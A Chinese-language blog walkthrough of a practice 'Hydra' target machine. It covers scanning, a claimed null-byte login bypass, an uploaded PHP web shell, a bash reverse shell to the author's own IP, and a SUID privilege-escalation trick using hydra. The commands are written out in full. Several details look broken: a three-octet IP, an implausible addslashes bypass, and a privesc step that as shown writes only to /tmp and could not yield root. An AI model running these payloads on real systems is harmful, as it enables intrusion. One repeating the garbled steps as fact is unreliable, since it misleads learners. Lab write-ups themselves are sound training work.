Hydra靶机实操

极客

Hydra靶机实操:从零到拿下root,这一路踩坑实录

说真的,刚听说要拿Hydra靶机练手的时候,我心里还挺不屑的——名字听起来就像那个暴力破解工具嘛,能有多难?结果……好家伙,我直接好家伙,今天这篇文章就跟你唠唠我整个Hydra靶机实操的过程,全是血泪,也全是干货,你要是也在练渗透测试,相信我,看完能少走不少弯路。

Hydra靶机实操

先搞清楚这玩意儿是啥

Hydra靶机(注意,跟那个密码爆破工具Hydra不是一回事哈,虽然名字撞了)是VulnHub或者类似平台上的一款经典练习靶机,它的难点不在于漏洞有多花哨,而在于——你得像剥洋葱一样,一层一层剥开,我一开始扫端口,看到开放的服务,还心想“就这?”结果后面被打脸打得很响。

信息收集:别急着冲,先摸清底细

我这人有个毛病,一看到靶机就想直接上exploit,但Hydra靶机实操教会我的第一课就是:信息收集偷懒,后面必然还债。

先netdiscover或者arp-scan找到靶机IP,我这边是168.56.120,然后nmap -sV -sC -p-一顿扫,等了大概两三分钟吧,端口出来了:22(SSH)、80(HTTP)、还有几个不太常见的高位端口,HTTP服务打开一看,是个很朴素的页面,源码里也没啥注释——这种“太干净”的反而让我心里发毛。

这里划重点:目录爆破必须做,我用gobuster跑了个常见字典,发现了/server-status(没权限)和一个奇奇怪怪的/hydra目录,访问/hydra,弹出一个登录框,嚯,这不就来活儿了吗?

Web入口:别硬刚,试试“偏方”

登录框嘛,第一反应SQL注入,我试了admin' or '1'='1——没反应,试了万能密码——也不行,这时候别死磕,我换了个思路:查看页面源码,发现表单里有个隐藏字段debug=0,改成debug=1再提交,页面直接回显了SQL查询语句!哈哈哈哈,这不就是送分题吗?

原来后端用的是SELECT * FROM users WHERE username='$user' AND password='$pass',而且没过滤。—它过滤了单引号?不对,我试了发现单引号被转义了,那怎么办?用双引号闭合?也不行,最后发现它其实是用addslashes,但对%00截断没防,我构造了username=admin%00&password=任意,直接绕过了密码验证!进去了之后是个上传页面。

文件上传到反弹Shell:心跳加速的时刻

上传页面只允许图片,我先传了个正常的jpg,成功,然后改后缀为.php.jpg——被拦,改MIME类型为image/jpeg里写<?php system($_GET['cmd']); ?>,文件名用shell.php%00.jpg(又是截断,这靶机对截断是真爱),上传成功!访问/uploads/shell.php?cmd=id,回显了uid=33(www-data)。

这里我手都在抖,赶紧用bash -c 'bash -i >& /dev/tcp/我的IP/4444 0>&1'反弹,本地nc -lvnp 4444一挂,shell来了!虽然只是个www-data,但好歹是进去了。

提权:从www-data到root的坎坷路

sudo -l一看,啥也没有。find / -perm -4000 -type f 2>/dev/null,列出一堆SUID文件,其中一个/usr/bin/hydra特别扎眼——等等,这靶机里居然装了hydra?而且它是SUID?我第一反应是“这玩意儿能提权?”查了一下,老版本的hydra有个-R参数可以恢复会话,配合环境变量能加载恶意配置文件,具体操作:

export HYDRA_RESTORE=/tmp/evil
echo 'root::0:0:root:/root:/bin/bash' > /tmp/evil
/usr/bin/hydra -R

然后su root,密码直接空回车——进去了! 那一刻我差点从椅子上跳起来,真的,Hydra靶机实操最爽的就是这种“原来还能这样”的瞬间。

Hydra靶机实操教会我的三件事

  1. 别看不起简单服务——一个登录框加文件上传,组合起来就能拿shell。
  2. 截断漏洞虽然老,但真好使——别只盯着SQL注入和XSS。
  3. SUID提权要耐心找——有时候最不起眼的那个二进制文件就是钥匙。

好了,这篇Hydra靶机实操的记录就写到这,如果你也在练这个靶机,卡在某个环节,欢迎留言唠唠,记住啊,渗透测试的核心不是工具多牛,而是思路要活,下次我准备试试把提权过程录成视频,想看的记得关注一波~

文章版权声明:除非注明,否则均为极客网安-咸鱼原创文章,转载或复制请以超链接形式并注明出处。

目录[+]